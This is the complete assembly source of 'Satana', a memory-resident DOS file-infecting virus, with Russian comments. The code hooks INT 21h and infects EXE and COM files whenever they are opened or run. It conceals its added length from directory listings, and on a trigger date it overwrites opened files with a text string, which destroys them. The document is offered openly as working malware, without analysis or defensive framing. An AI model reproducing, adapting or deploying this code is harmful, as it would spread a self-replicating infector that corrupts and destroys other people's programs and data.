Вирус Satana
Проверка на наличие в памяти - 0edf1h.
Точка входа из EXE и COM.
lab label byte
entvir proc near
call adres
adres: pop si
sub si,3
;Система проникновения в память.
push ax
push bx
push cx
push dx
push di
push ds
push es
push si
mov ax,0edf1h ;Проверка на наличие в памяти.
int 21h
cmp ax,0ffffh
je inmem
mov ax,es
dec ax
mov es,ax
mov bx,3
sub word ptr es:[bx],leng16
dec bx
mov ax,[bx]
sub ax,leng16
mov [bx],ax
mov es,ax
xor di,di
cld
mov cx,leng
push cs
pop ds
rep movsb
push es
pop ds
mov ax,3521h
int 21h
mov old21,bx
mov old21+2,es
mov ah,25h
lea dx,virus
int 21h
inmem: pop si
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
;Cистема возврата управления в файл.
add si,offset oldbyts
cmp cs:word ptr[si],'ZM'
je exeinp
mov di,100h
push di
cld
movsw
movsb
ret
exeinp: push ax
mov ax,ds
add ax,10h
add cs:[si+22],ax
pop ax
jmp cs:dword ptr[si+20]
entvir endp
;Основной процессор вируса.
;Управляет размножением и гадостями.
virus proc near
pushf
cmp ax,0edf1h ;Cистемная функция вируса.
je tstvir
cmp ax,4b00h ;Проверка запроса на выполнение.
je lodfil
cmp ah,3dh ;Проверка запроса на открытие файла.
je opnfil
cmp ah,4fh ;Проверка на получение каталога.
je cat
cmp ah,4eh ;Проверка на получение первого файла.
je cat
goint: popf
jmp cs:dword ptr old21
;Ответ на запрос о наличии в памяти.
tstvir: mov ax,0ffffh
popf
iret
;Обработка запросов на открытие и запуск.
opnfil:
lodfil: call tstfil
jne exld
call inffil
;Не пора ли Сатане на бал?
push ax
push bx
push cx
push ds
push dx
mov ah,4
int 1ah
jc exld1
cmp dx,1111h
jne exld1
;ПОРА!!!
pop dx
push dx
mov ax,3d02h
call ld21
jc exld1
mov bx,ax
push cs
pop ds
lea dx,satana
mov ah,40h
mov cx,24
call ld21
mov ah,3eh
call ld21
exld1: pop dx
pop ds
pop cx
pop bx
pop ax
exld: jmp goint
;Корректировка длины при получении каталога или стирание каталога.
cat: popf
call ld21
jc excat
pushf
push ax
push bx
push cx
push dx
push ds
push es
mov ah,2fh
call ld21
push es
pop ds
mov al,[bx+16h]
and al,00011111b
cmp al,31
jne excor
sub word ptr[bx+1ah],leng
sbb word ptr[bx+1ch],0
excor: pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
excat: sti
retf 2
virus endp
;Проверяет имя файла на EXE или COM.
;В случае соответствия устанавливает флаги для JE.
tstfil proc near
push si
call convstr
cmp word ptr[si],'OC'
je cntcom
cmp word ptr[si],'XE'
jne extst
cmp byte ptr[si+2],'E'
extst: pop si
ret
cntcom: cmp byte ptr[si+2],'M'
jmp extst
tstfil endp
;Преобразует строку параметров в заглавные буквы и возвращает
;в SI смещение расширения файла.
convstr proc near
push ax
mov si,dx
cld
cnt: lodsb
cmp al,0
je exit1
cmp al,'a'
jae cntlt
jmp cnt
cntlt: cmp al,'z'
ja cnt
sub al,32
mov [si-1],al
jmp cnt
exit1: sub si,4
pop ax
ret
convstr endp
;Заражает файл с именем по адресу DS:[DX].
inffil proc near
push ax
push bx
push cx
push dx
push si
push ds
push es
push ds
push dx
mov ax,3524h
push cs
pop ds
call ld21
mov old24es,es
mov old24bx,bx
lea dx,area24
mov ah,25h
call ld21
pop dx
pop ds
mov ax,4301h
xor cx,cx
call ld21
jc cnti1
mov ax,3d02h
call ld21
jnc cninf
cnti1: jmp exinf
cninf: mov bx,ax
push cs
pop ds
mov ax,5700h
call ld21
mov date1,cx
mov date2,dx
mov al,cl
and al,00011111b
cmp al,31
je exinf1
cntinf: mov ah,3fh
mov cx,24
lea dx,oldbyts
call ld21
jc exinf1
xor cx,cx
xor dx,dx
mov ax,4202h
call ld21
cmp ax,500
jbe exinf1
push ax
push dx
mov ah,40h
xor dx,dx
mov cx,leng
call ld21
cmp ax,cx
pop dx
pop ax
jb exinf1
cmp signat,'ZM'
je exeinf
mov byte ptr oldbyts,0E9h
sub ax,3
mov word ptr oldbyts+1,ax
exinf2: mov ax,4200h
xor cx,cx
xor dx,dx
call ld21
mov ah,40h
mov cx,24
lea dx,oldbyts
call ld21
or byte ptr date1,00011111b
exinf1: mov ax,5701h
mov cx,date1
mov dx,date2
call ld21
mov ah,3eh
call ld21
exinf: mov ax,2524h
mov dx,cs:old24bx
push cs:old24es
pop ds
call ld21
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
ret
exeinf: mov cx,16
div cx
sub ax,hdrsiz
mov oldcs,ax
mov oldip,dx
mov ax,4202h
xor cx,cx
xor dx,dx
call ld21
mov cx,512
div cx
inc ax
mov lastpag,dx
mov filsiz,ax
jmp exinf2
inffil endp
;Вызов Int 21h минуя систему вируса.
ld21 proc near
pushf
call cs:dword ptr old21
ret
ld21 endp
;Обработчик критической ошибки.
area24 proc near
mov al,3
iret
area24 endp
oldbyts label byte
signat dw ?
lastpag dw ?
filsiz dw 2 dup(?)
hdrsiz dw ?
dw 5 dup(?)
oldip dw ?
oldcs dw ?
oldend label byte
db 0dh,0ah
db 'SATANA 666 (C) XSc.'
satana db 'Сатана там правит бал'
labl label byte
old21 dw 2 dup(?)
old24bx dw ?
old24es dw ?
date1 dw ?
date2 dw ?
codesg ends